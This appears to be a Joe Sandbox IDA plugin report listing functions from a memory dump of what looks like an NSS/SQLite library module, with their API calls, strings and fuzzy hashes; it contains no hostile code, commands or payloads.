Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: a142fbe31f1bba69d1c63e356e216f6a6c47fdeaa85f7aae26c91a477a34ec7c
Instruction ID: 8dbd81066d44b79ceafe23826d2bc3e65ef47858311d2075e637db7d84fb9815
Opcode Fuzzy Hash: a142fbe31f1bba69d1c63e356e216f6a6c47fdeaa85f7aae26c91a477a34ec7c
Instruction Fuzzy Hash: F522BE71908712AFF710CF14CC45B6A77E1AF8430CF16862CE9599F2A2E772E855CB92

Function 6CF81F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF825F3

Strings

too many references to "%s": max 65535, xrefs: 6CF82FB6
%s.%s, xrefs: 6CF82D68
no tables specified, xrefs: 6CF826BE
multiple recursive references: %s, xrefs: 6CF822E0
a NATURAL join may not have an ON or USING clause, xrefs: 6CF832C1
cannot have both ON and USING clauses in the same join, xrefs: 6CF832B5
too many columns in result set, xrefs: 6CF83012
table %s has %d values for %d columns, xrefs: 6CF8316C
H, xrefs: 6CF8329F
H, xrefs: 6CF8322D
no such index: "%s", xrefs: 6CF8319D
access to view "%s" prohibited, xrefs: 6CF82F4A
%s.%s.%s, xrefs: 6CF8302D
recursive reference in a subquery: %s, xrefs: 6CF822E5
'%s' is not a function, xrefs: 6CF82FD2
unsafe use of virtual table "%s", xrefs: 6CF830D1
no such table: %s, xrefs: 6CF826AC
cannot join using column %s - column not present in both tables, xrefs: 6CF832AB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 77f2fdc4b570ff2d3f6dfc22439da58dbf92705a3c0823d03e4475da7aef3490
Instruction ID: 3ab1577f264641635d62d688b24571725a108073a2d62a2e2810308c936f39ef
Opcode Fuzzy Hash: 77f2fdc4b570ff2d3f6dfc22439da58dbf92705a3c0823d03e4475da7aef3490
Instruction Fuzzy Hash: A6D2BF75E06209CFDB04CF99C498B9EB7B2FF49308F288169D855AB752D732E846CB50

Function 6CFBECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFBED38

Part of subcall function 6CF54F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF54FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CFBEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CFBEFE4

Part of subcall function 6D07DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF55001,?,00000003,00000000), ref: 6D07DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CFBF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CFBF129
sqlite3_mprintf.NSS3(optimize), ref: 6CFBF1D1
sqlite3_free.NSS3(?), ref: 6CFBF368

Strings

unicode61, xrefs: 6CFBEDB5
fts3tokenize, xrefs: 6CFBF30F
porter, xrefs: 6CFBED97
fts4aux, xrefs: 6CFBECF9
offsets, xrefs: 6CFBEFAF, 6CFBEFDF, 6CFBF01F
fts3_tokenizer, xrefs: 6CFBEE1A, 6CFBEEA8
fts3, xrefs: 6CFBF247
snippet, xrefs: 6CFBEF05, 6CFBEF37, 6CFBEF7C
simple, xrefs: 6CFBED79
fts4, xrefs: 6CFBF2AD
matchinfo, xrefs: 6CFBF04F, 6CFBF082, 6CFBF0C2, 6CFBF0F2, 6CFBF124, 6CFBF169
optimize, xrefs: 6CFBF199, 6CFBF1CC, 6CFBF211

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6d13a69ee891a4160326fb5ead7aa414181a9dcb2daf0cb4010204a4cbed7874
Instruction ID: 77d78f2447eecdb8df1f1d0807bd5fd079a8611283a95faeea1020b21f427892
Opcode Fuzzy Hash: 6d13a69ee891a4160326fb5ead7aa414181a9dcb2daf0cb4010204a4cbed7874
Instruction Fuzzy Hash: E90203BDB043005BE7049F72A84473B36B26FC9308F28453CD85AA7745EFB5E9468792

Function 6D037C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D037C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6D037C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6D037D1E

Part of subcall function 6D037870: SECOID_FindOID_Util.NSS3(?,?,?,6D0391C5), ref: 6D03788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D037D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6D037D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6D037DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D037DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D037DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6D037E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6D037E58

Part of subcall function 6D037870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0391C5), ref: 6D0378BB
Part of subcall function 6D037870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6D0391C5), ref: 6D0378FA
Part of subcall function 6D037870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6D0391C5), ref: 6D037930
Part of subcall function 6D037870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6D0391C5), ref: 6D037951
Part of subcall function 6D037870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6D037964
Part of subcall function 6D037870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D03797A
Part of subcall function 6D037870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6D037988
Part of subcall function 6D037870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6D037998
Part of subcall function 6D037870: free.MOZGLUE(00000000), ref: 6D0379A7
Part of subcall function 6D037870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6D0391C5), ref: 6D0379BB
Part of subcall function 6D037870: PR_GetCurrentThread.NSS3(?,?,?,?,6D0391C5), ref: 6D0379CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D037E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D037F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6D037F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D037FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6D037FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6D038038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6D038050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6D038093
SECOID_FindOID_Util.NSS3 ref: 6D037F29

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6D038072
SECOID_FindOID_Util.NSS3 ref: 6D0380F5

Part of subcall function 6D03BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6D03800A,00000000,?,00000000,?), ref: 6D03BC3F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 0bb98c808540933d0a69e5a136e34311be7e45edbb5609aa1ba9f3fe3d04744b
Instruction ID: d09d8aea41e46fd2aa1edec432dfb42a4224602445864b56d5f428d6dbcf340c
Opcode Fuzzy Hash: 0bb98c808540933d0a69e5a136e34311be7e45edbb5609aa1ba9f3fe3d04744b
Instruction Fuzzy Hash: 34E18071A08312DFF751CF29C880B2A77E5BF88718F46496CE9999B351E731E805CB52

Function 6CFC1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CFC1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CFC1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CFC1CA1
GetLengthSid.ADVAPI32(?), ref: 6CFC1CA9
malloc.MOZGLUE(00000000), ref: 6CFC1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CFC1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CFC1CE4
GetLengthSid.ADVAPI32(?), ref: 6CFC1CEC
malloc.MOZGLUE(00000000), ref: 6CFC1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CFC1D0F
CloseHandle.KERNEL32(?), ref: 6CFC1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CFC1D4D
GetLastError.KERNEL32 ref: 6CFC1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CFC1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CFC1D7A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 9767b310d6740b13f5d7892cf41803d3c10a651c71f447a970e9ffe47fffa90a
Instruction ID: ecf86d6d6e556056984a645834c2e8da01e49a237038fa715773a4c8e8c47c1a
Opcode Fuzzy Hash: 9767b310d6740b13f5d7892cf41803d3c10a651c71f447a970e9ffe47fffa90a
Instruction Fuzzy Hash: A23163B5900218AFEF10DF64EC48BAA7BB9FF4A304F004465FA0992151F77199D4CF65

Function 6CFC3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CFC3DFB
__allrem.LIBCMT ref: 6CFC3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CFC4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFC40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC415F
__allrem.LIBCMT ref: 6CFC416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC42AB
__allrem.LIBCMT ref: 6CFC42B7

Strings

%lld, xrefs: 6CFC3FB2
%03d, xrefs: 6CFC42E8
%02d, xrefs: 6CFC4086
%04d, xrefs: 6CFC407B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 548dd116cb7c6d048373cfb8da7801fdc00a50b807976f5d1c954ced1894c208
Instruction ID: 790f8e8a50eb9a4b4534d97e043796f69c57c3cd8d5eb579fef0dc6148e32f38
Opcode Fuzzy Hash: 548dd116cb7c6d048373cfb8da7801fdc00a50b807976f5d1c954ced1894c208
Instruction Fuzzy Hash: A5F11F71B487429FD319CF38C881BABBBE6AFC5348F148A2DE49597651E730D845CB42

Function 6CFCEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCEF63

Part of subcall function 6CFD87D0: PORT_NewArena_Util.NSS3(00000800,6CFCEF74,00000000), ref: 6CFD87E8
Part of subcall function 6CFD87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CFCEF74,00000000), ref: 6CFD87FD
Part of subcall function 6CFD87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFD884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CFCF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CFCF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CFCF374
PL_strcasecmp.NSS3(6D112FD4,?), ref: 6CFCF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CFCF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFCF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CFCF67D
CERT_DestroyName.NSS3(?), ref: 6CFCF68B

Part of subcall function 6CFD8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CFD8338
Part of subcall function 6CFD8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFD8364
Part of subcall function 6CFD8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CFD838E
Part of subcall function 6CFD8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFD83A5
Part of subcall function 6CFD8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD83E3

Part of subcall function 6CFD84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CFD84D9
Part of subcall function 6CFD84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFD8528

Part of subcall function 6CFD8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6CFD8955

Strings

*, xrefs: 6CFCF3C6
oid., xrefs: 6CFCF2CF
", xrefs: 6CFCF21B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: b367985c67082921fce98e68eb32687f2ec653a5f185f33f7a17c410f40b95fe
Instruction ID: fad2dd6627f64fdeef5fbdfc99c89a354aa96ae830ea972b1944850e32413289
Opcode Fuzzy Hash: b367985c67082921fce98e68eb32687f2ec653a5f185f33f7a17c410f40b95fe
Instruction Fuzzy Hash: 9F22167270C3528BE754CE28C8907ABF7F6AB85318F194A2EE5D587791E7319805CB83

Function 6CF71C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF71D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF71EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CF71FB7

Strings

attached databases must use the same text encoding as main database, xrefs: 6CF720CA
abort due to ROLLBACK, xrefs: 6CF72223
unsupported file format, xrefs: 6CF72188
another row available, xrefs: 6CF72287
table, xrefs: 6CF71C8B
unknown error, xrefs: 6CF72291
sqlite_master, xrefs: 6CF71C61
no more rows available, xrefs: 6CF72264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CF71F83
sqlite_temp_master, xrefs: 6CF71C5C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: cc04a6de152508f0348ae52b05342fad0e56ad327e5f395594f4aa7f54ddbe8a
Instruction ID: 7e0988a9f14ad6737fd53a405e91f84ebe509e4db5efaff06feeebf8077f8ab8
Opcode Fuzzy Hash: cc04a6de152508f0348ae52b05342fad0e56ad327e5f395594f4aa7f54ddbe8a
Instruction Fuzzy Hash: 4412E170608340CFD720CF19D49475AB7F2BF85318F19856EE9898B751D772E849CBA2

Function 6CF95F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6CF96BEC
BINARY, xrefs: 6CF98708, 6CF98737, 6CF987B8
sub-select returns %d columns - expected %d, xrefs: 6CF9805F
-, xrefs: 6CF96228
-, xrefs: 6CF962F9
NOCASE, xrefs: 6CF98703
2, xrefs: 6CF965B4
u, xrefs: 6CF981DA

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ac9fb0bf450c621c60bed2df29ebea140f0f51de837dd516970a6df99ad9a9fb
Instruction ID: 1a64ecb1503ea69f765d51ec4d350ab7d03186ebd91fd7088520fc80e3d1b04c
Opcode Fuzzy Hash: ac9fb0bf450c621c60bed2df29ebea140f0f51de837dd516970a6df99ad9a9fb
Instruction Fuzzy Hash: 844392756083418FEB44CF19C490B5BB7F2BF89318F15866DE8998B752D731E846CB82

Function 6D03EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D03C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6D03DAE2,?), ref: 6D03C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6D03F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6D10218C), ref: 6D03F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6D03F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D03F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6D03F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6D03F210

Part of subcall function 6CFE52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6D03F1E9,?,00000000,?,?), ref: 6CFE52F5
Part of subcall function 6CFE52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CFE530F
Part of subcall function 6CFE52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CFE5326
Part of subcall function 6CFE52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6D03F1E9,?,00000000,?,?), ref: 6CFE5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D03F227

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6D03F23E

Part of subcall function 6D02BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFDE708,00000000,00000000,00000004,00000000), ref: 6D02BE6A
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?), ref: 6D02BE7E
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D03F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6D03F3A8

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6D03F3B3

Part of subcall function 6CFE2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CFE2D3C
Part of subcall function 6CFE2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFE2D5F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 7c412b4a4f9fb0c9928afeb6d0d6c2366bfeede636aae070623a38ca68d4286e
Instruction ID: e027e6bb9e564166e6110ca2286cfc859a828bbfc13bcfe7eb459ef9f1f90d0d
Opcode Fuzzy Hash: 7c412b4a4f9fb0c9928afeb6d0d6c2366bfeede636aae070623a38ca68d4286e
Instruction Fuzzy Hash: 8CD131B6E046169FEB14CF99D880BAEBBF9FF48304F168069D915A7311E731E815CB50

Function 6D06DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

